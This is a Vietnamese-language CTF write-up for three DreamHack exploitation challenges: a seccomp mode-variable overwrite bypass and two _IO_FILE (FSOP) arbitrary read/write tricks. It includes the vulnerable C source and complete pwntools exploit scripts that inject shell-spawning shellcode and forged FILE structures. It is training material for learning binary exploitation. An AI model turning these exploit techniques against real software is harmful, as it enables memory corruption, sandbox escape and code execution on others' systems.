---
# System prepended metadata

title: DH write-up

---

# DreamHack write-up
# Seccomp (2) - Learn 
## Source code 
```c
// gcc -o seccomp seccomp.cq
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>

int mode = SECCOMP_MODE_STRICT;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))
    
    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* Validate architecture. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* Get system call number. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        };
    
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }
    
    if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}


int main(int argc, char* argv[])
{
    void (*sc)();
    unsigned char *shellcode;
    int cnt = 0;
    int idx;
    long addr;
    long value;

    initialize();

    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    while(1) {
        printf("1. Read shellcode\n");
        printf("2. Execute shellcode\n");
        printf("3. Write address\n");
        printf("> ");

        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if(cnt != 0) {
                    exit(0);
                }

                syscall_filter();
                printf("shellcode: ");
                read(0, shellcode, 1024);
                cnt++;
                break;
            case 2:
                sc = (void *)shellcode;
                sc();
                break;
            case 3:
                printf("addr: ");
                scanf("%ld", &addr);
                printf("value: ");
                scanf("%ld", addr);
                break;
            default:
                break;
        }
    }
    return 0;
}
```
- Đoạn đơn giản chỉ là cho mình thực thi shellcode sau khi đã filter bằng `seccomp` nên phần mình cần quan tâm chính là cách hàm `filter()` cấm các `syscall`
### Seccomp filter
- Thật ra mình cũng chưa hiểu toàn bộ các struct trong hàm này nên chỉ tập trung vào các vị trí quan trọng
- Nhìn thì nó giống đoạn code mẫu set up seccomp BPF này : 
```c
// Name: secbpf_alist.c
// Compile: gcc -o secbpf_alist secbpf_alist.c
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define ALLOW_SYSCALL(name)                               \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define KILL_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
int sandbox() {
  struct sock_filter filter[] = {
      /* Validate architecture. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      ALLOW_SYSCALL(rt_sigreturn),
      ALLOW_SYSCALL(open),
      ALLOW_SYSCALL(openat),
      ALLOW_SYSCALL(read),
      ALLOW_SYSCALL(write),
      ALLOW_SYSCALL(exit_group),
      KILL_PROCESS,
  };
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
    return -1;
  }
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
  }
  return 0;
}
void banned() { fork(); }
int main(int argc, char* argv[]) {
  char buf[256];
  int fd;
  memset(buf, 0, sizeof(buf));
  sandbox();
  if (argc < 2) {
    banned();
  }
  fd = open("/bin/sh", O_RDONLY);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
  return 0;
}
```
- Chú ý thấy điểm khác : 
```c
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
}
    ---------------------------------------------------
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
    perror("Seccomp filter error\n");
    return -1;
}
int mode = SECCOMP_MODE_STRICT;
```
-> Từ đây mình đoán mặc dù nó set up seccomp FILTER_MODE: BPF nhưng lại đặt mode STRICT_MODE (chỉ cho read, write, sigreturn,exit) 
## Bypass seccomp 
- Nếu để STRICT_MODE thì thật khó để dùng các syscall cho phép để lấy flag.
- Thật may, challenge cho case có thể thay đổi giá trị tại 1 địa chỉ bất kì mà biến `mode`  lại là biến global + tắt PIE nên ý tưởng sẽ overwrite mode để `prctl(PR_SET_SECCOMP, mode, &prog)` không thực hiện đúng seccomp STRICT_MODE.
- mode `STRICT_MODE` = 1 -> overwrite khác 1 là được
## Get flag
```py
#!/usr/bin/env python3

from pwn import *


def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)


def intFromByte(p, size):
    o = p.recv(size)[::-1].hex()
    output = '0x' + o
    leak = int(output, 16)
    return leak

def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base

def leak(p, payload):
    sl(p, payload)
    ru(p, b'|')
    leak = int(ru(p, b'|').replace(b'|', b''), 16)
    return leak

def GDB(p):
    base = get_exe_base(p.pid)
    gdb.attach(p, gdbscript='''
        b*0x0000000000400A33
        c
    ''')
    input()

def main():
    context.binary = exe = ELF("./seccomp", checksec=False)
    # libc = ELF("./", checksec=False)
    # ld = ELF("./", checksec=False)
    p = process(exe.path)
    # p = remote("host3.dreamhack.games",23936)
    mode = 0x602090
    sla(p,b'> ',b'3')
    GDB(p)
    sla(p,b'addr: ',str(mode).encode())
    sla(p,b'value: ',str(2).encode())
    
    sla(p,b'> ',b'1')
    shellcode = asm(shellcraft.amd64.sh())
    sla(p,b'shellcode: ',shellcode)
    sl(p,b'2')

    p.interactive()

if __name__ == "__main__":
    main()
    # DH{22b3695a64092efd8845efe7eda784a4}
```
# _IO_FILE Arbitrary Address Write 
## Phân tích 
- Về bug thì khá rõ là BOF ở `read(0, fp, 300);` nhưng ở đây có điều đặc biệt lại ghi vào buffer của 1 IO_FILE -> FSOP ở hàm fread
- Mình đã có 1 blog riêng về hàm này và ứng dụng cho bài này - [fread() - FSOP write data](https://hackmd.io/hp5NGEn9S1KlLYm6vxfp0w?view#3-fread---FSOP-write-data)
## Khai thác 
- Mục tiêu : `overwrite_me == 0xDEADBEEF` 
    - overwrite_me : nằm ở .bss (PIE tắt)
    - ghi được vào buffer IO_FILE
- Dựa vào bài thì ta sẽ tận dụng : `read (fp->_fileno, buf, size));` được gọi 
    - `buf` : fp->_IO_buf_base
    - `size`  :  fp->_IO_buf_end - fp->_IO_buf_base

- Công việc sẽ là overwrite : 
    - _IO_buf_base    ---->    overwrite_me
    - _IO_buf_end     ---->    overwrite_me + nbytes
    - fp->_fileno = 1 : để gọi read với stdin
:::warning
- Có 1 yêu cầu nhỏ : 
    - `size`  :  fp->_IO_buf_end - fp->_IO_buf_base  > size đã yêu cầu khi gọi fread ( ở bài này là 1023)
    -> nên ở đây cho _IO_buf_end = overwrite_me + 1024
:::
## Get flag
```py

def main():
    context.binary = exe = ELF("./chall_patched", checksec=False)
    libc = ELF("./libc.so.6", checksec=False)
    ld = ELF("./ld-2.27.so", checksec=False)
    # p = process(exe.path)
    p = remote('host3.dreamhack.games',13605)
    overwrite_me = 0x6014a0
    payload = flat(
        0xfbad2488,
        0,0,0,0,0,0,
        overwrite_me,
        overwrite_me + 1024,
        0,0,0,0,0,0
    )
    # GDB(p)
    sa(p,b'Data: ',payload)
    p.sendline(p64(0xDEADBEEF) + b"A"*1024)
    p.interactive()

if __name__ == "__main__":
    main()
```
# _IO_FILE Arbitrary Address Read
## Phân tích 
- Về bug vẫn là BOF ở 1 IO_FILE tuy nhiên bài này gọi fwrite mục đích để học cách leak dữ liệu thông qua overwrite thành stdout.
- Kiến thức của bài này sẽ giống với [FSOP : puts](https://hackmd.io/Mx1bLro_Tp-VMh6u--k13w?view#FSOP)
## Khai thác : 
- Mục tiêu : In flag ra màn hình với flag đã được ghi vào .bss trước đó 
- Target overwrite : 
    - flags =  0xfbad1800
    - _IO_write_base  = flag address
    - _IO_buf_end  = flag address + nbytes
    - fileno = 1 -> để thành write với stdout 
    - với `_IO_buf_end - _IO_write_base` > size được yêu cầu khi gọi fwrite()

## Get flag
```py
def main():
    context.binary = exe = ELF("./iofile_aar_patched", checksec=False)
    libc = ELF("./libc.so.6", checksec=False)
    # ld = ELF("./", checksec=False)
    p = process(exe.path)
    p =remote("host3.dreamhack.games",19842)
    flag_buf= exe.sym.flag_buf
    print(hex(flag_buf))
    payload = p64(0xfbad1800)
    payload += p64(0) # _IO_read_ptr
    payload += p64(0) # _IO_read_end
    payload += p64(0) # _IO_read_base
    payload += p64(flag_buf) # _IO_write_base
    payload += p64(flag_buf + 1024) # _IO_write_ptr
    payload += p64(0) # _IO_write_end
    payload += p64(0) # _IO_buf_base
    payload += p64(0) # _IO_buf_end
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(1) # stdout
    # GDB(p)
    sa(p,b'Data: ',payload)
    p.interactive()
```